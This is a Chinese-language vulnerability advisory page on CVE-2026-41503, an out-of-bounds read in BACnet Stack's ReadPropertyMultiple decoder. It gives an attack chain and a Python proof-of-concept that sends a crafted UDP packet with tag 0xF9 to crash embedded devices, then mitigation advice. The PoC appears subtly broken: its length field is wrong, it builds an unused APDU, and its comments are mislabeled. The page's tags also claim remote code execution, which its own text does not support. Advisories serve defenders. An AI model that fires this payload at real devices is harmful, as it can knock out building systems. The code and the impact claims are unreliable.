IPBUF安全漏洞报告
English
CVE-2026-41503 CVSS 7.5 高危

CVE-2026-41503 BACnet Stack越界读取漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41503
漏洞类型
越界读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BACnet Stack

相关标签

BACnet越界读取DoS嵌入式系统远程代码执行

漏洞概述

BACnet Stack是一个用于嵌入式系统的BACnet开源协议栈C语言库。在1.4.3版本之前,该库的ReadPropertyMultiple服务属性解码器中存在越界读取漏洞。未经身份验证的远程攻击者可以通过发送带有截断属性列表的RPM请求,读取超出分配缓冲区边界的数据。该漏洞源于rpm_decode_object_property()函数调用了已弃用的decode_tag_number_and_value(),导致盲目读取指针。精心构造的BACnet/IP数据包可导致嵌入式设备崩溃,影响服务可用性。

技术细节

该漏洞位于BACnet Stack源代码的src/bacnet/rpm.c文件中,具体涉及rpm_decode_object_property()函数。该函数在处理ReadPropertyMultiple (RPM) 服务请求时,调用了已弃用的decode_tag_number_and_value()函数。由于该函数不接受缓冲区长度参数,它会盲目地根据传入的指针读取数据,而未检查缓冲区边界。攻击者无需身份验证,即可通过网络向量发起攻击。利用方式是构造一个恶意的BACnet/IP数据包,其中包含一个长度仅为1字节的属性负载,且该字节包含扩展标签标记(0xF9)。当解码器处理这个特殊标记时,它会尝试读取后续数据,但由于数据包被截断,导致读取操作越界,读取了缓冲区末尾之后的1字节内存。在嵌入式设备上,这种越界访问通常会直接导致设备崩溃或服务拒绝。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找开放BACnet端口(默认UDP 47808)的嵌入式设备。
STEP 2
构造恶意数据包
攻击者构造一个特殊的BACnet/IP ReadPropertyMultiple请求包,其中包含一个截断的属性列表,关键在于包含一个扩展标签标记(0xF9)且后续数据缺失。
STEP 3
发送攻击载荷
攻击者通过网络将构造好的恶意数据包发送给目标设备的BACnet服务端口。
STEP 4
触发漏洞
目标设备的BACnet Stack在解码数据包时,调用decode_tag_number_and_value()函数盲目读取缓冲区外的1字节内存,导致越界读取。
STEP 5
执行影响
越界读取导致嵌入式设备进程崩溃或发生异常,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target IP and Port (BACnet default is 47808) TARGET_IP = "192.168.1.100" TARGET_PORT = 47808 # BACnet/IP Header + NPDU + APDU construction # This is a simplified PoC demonstrating the crafted packet # causing the out-of-bounds read described in the vulnerability. # The specific trigger is a truncated property list with tag 0xF9. def create_malicious_packet(): # BACnet/IP Header ( BVLC ) bvlc_type = b'\x81' # Original-Unicast-NPDU bvlc_len = b'\x00\x0a' # Length # NPDU (Network Layer) npdu = b'\x01' # Version npdu += b'\x10' # Control: expecting reply # APDU (Application Layer) # ReadPropertyMultiple Request (PDU type 14) apdu = b'\x0E' # Invoke ID apdu += b'\x01' # Object Identifier (Device, Instance 123) apdu += b'\x0C\x00\x00\x7B' # Property Reference List # Opening tag for property list apdu += b'\x1E' # Property Identifier: objectList (77) apdu += b'\x4D' # Opening tag for property array index apdu += b'\x1E' # Array Index (optional) apdu += b'\x01' # Closing tag for property array index apdu += b'\x1F' # Closing tag for property list apdu += b'\x1F' # The vulnerability description mentions a 1-byte property payload with 0xF9. # Let's construct a payload that simulates the read of an extended tag # where the subsequent bytes are missing. # Trigger: Extended tag marker 0xF9 followed by insufficient bytes. # Malicious payload segment replacing the standard property structure # to hit the specific decode path. malicious_payload = b'\x0E\x01\x0C\x00\x00\x7B' # Header part malicious_payload += b'\x1E' # Start list malicious_payload += b'\xF9' # Extended tag marker (The trigger) # Missing extended tag value bytes here causes the OOB read return bvlc_type + bvlc_len + npdu + malicious_payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) packet = create_malicious_packet() print(f"Sending malicious packet to {TARGET_IP}:{TARGET_PORT}") sock.sendto(packet, (TARGET_IP, TARGET_PORT)) print("Packet sent.") except Exception as e: print(f"Error: {e}") finally: sock.close()

影响范围

BACnet Stack < 1.4.3

防御指南

临时缓解措施
建议立即升级至BACnet Stack 1.4.3版本以彻底修复该漏洞。若暂时无法升级,应实施网络分段,限制对BACnet设备(UDP 47808端口)的外部访问,仅允许受信任的管理终端连接,并定期检查设备日志以发现可能的崩溃迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表